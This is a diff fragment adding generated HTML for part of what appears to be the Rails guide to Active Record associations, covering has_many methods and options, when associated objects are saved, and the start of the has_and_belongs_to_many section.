+<p>
+<tt><em>collection</em>=objects</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids=ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.clear</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.empty?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.size</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.find(&#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.exist?(&#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.build(attributes = {}, &#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.create(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the customer model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>orders<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+orders<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">=</span>objects
+order_ids
+order_ids<span style="color: #990000">=</span>ids
+orders<span style="color: #990000">.</span>clear
+orders<span style="color: #990000">.</span>empty?
+orders<span style="color: #990000">.</span>size
+orders<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
+orders<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
+orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_force_reload_false_tt"><tt><em>collection</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@order1</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_delete_object_8230_tt"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Objects will be in addition destroyed if they're associated with <tt>:dependent &#8658; :destroy</tt>, and deleted if they're associated with <tt>:dependent &#8658; :delete_all</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_objects_tt"><tt><em>collection</em>=objects</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection_singular</em>_ids</tt></h5>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection_singular</em>_ids=ids</tt></h5>
+<div class="para"><p>The <tt><em>_collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_em_clear_tt"><tt><em>collection</em>.clear</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent &#8658; :destroy</tt>, deletes them directly from the database if <tt>:dependent &#8658; :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
+<h5 id="_tt_em_collection_em_empty_tt"><tt><em>collection</em>.empty?</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% if @customer.orders.empty? %&gt;</span>
+  No Orders Found
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_size_tt"><tt><em>collection</em>.size</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_8230_tt"><tt><em>collection</em>.find(&#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_8230_tt"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_8230_tt"><tt><em>collection</em>.build(attributes = {}, &#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_create_attributes_tt"><tt><em>collection</em>.create(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_has_many">4.3.2. Options for has_many</h4>
+<div class="para"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete_all<span style="color: #990000">,</span> <span style="color: #990000">:</span>validate <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_many</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:extend</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:finder_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:group</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:limit</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:offset</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:primary_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:uniq</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_as_tt_2"><tt>:as</tt></h5>
+<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
+<h5 id="_tt_class_name_tt_3"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transaction"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_3"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also set conditions via a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>confirmed <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
+<h5 id="_tt_counter_sql_tt"><tt>:counter_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+</tr></table>
+</div>
+<h5 id="_tt_dependent_tt_3"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This option is ignored when you use the <tt>:through</tt> option on the association.</td>
+</tr></table>
+</div>
+<h5 id="_tt_extend_tt"><tt>:extend</tt></h5>
+<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_finder_sql_tt"><tt>:finder_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<h5 id="_tt_foreign_key_tt_3"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"cust_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_group_tt"><tt>:group</tt></h5>
+<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>line_items<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders.id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_include_tt_3"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+  has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+  has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_limit_tt"><tt>:limit</tt></h5>
+<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>recent_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"order_date DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">100</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_offset_tt"><tt>:offset</tt></h5>
+<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 10 records.</p></div>
+<h5 id="_tt_order_tt_2"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date_confirmed DESC"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_primary_key_tt_2"><tt>:primary_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<h5 id="_tt_readonly_tt_3"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_3"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">If you specify your own <tt>:select</tt>, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.</td>
+</tr></table>
+</div>
+<h5 id="_tt_source_tt_2"><tt>:source</tt></h5>
+<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
+<h5 id="_tt_source_type_tt_2"><tt>:source_type</tt></h5>
+<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
+<h5 id="_tt_through_tt_2"><tt>:through</tt></h5>
+<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
+<h5 id="_tt_uniq_tt"><tt>:uniq</tt></h5>
+<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
+<h5 id="_tt_validate_tt_3"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_3">4.3.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<h3 id="_the_tt_has_and_belongs_to_many_tt_association_2">4.4. The <tt>has_and_belongs_to_many</tt> Association</h3>
+<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
+<h4 id="_methods_added_2">4.4.1. Methods Added</h4>
+<div class="para"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>collection</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.delete(object, &#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>=objects</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids=ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.clear</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.empty?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.size</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.find(&#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.exist?(&#8230;)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.build(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.create(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
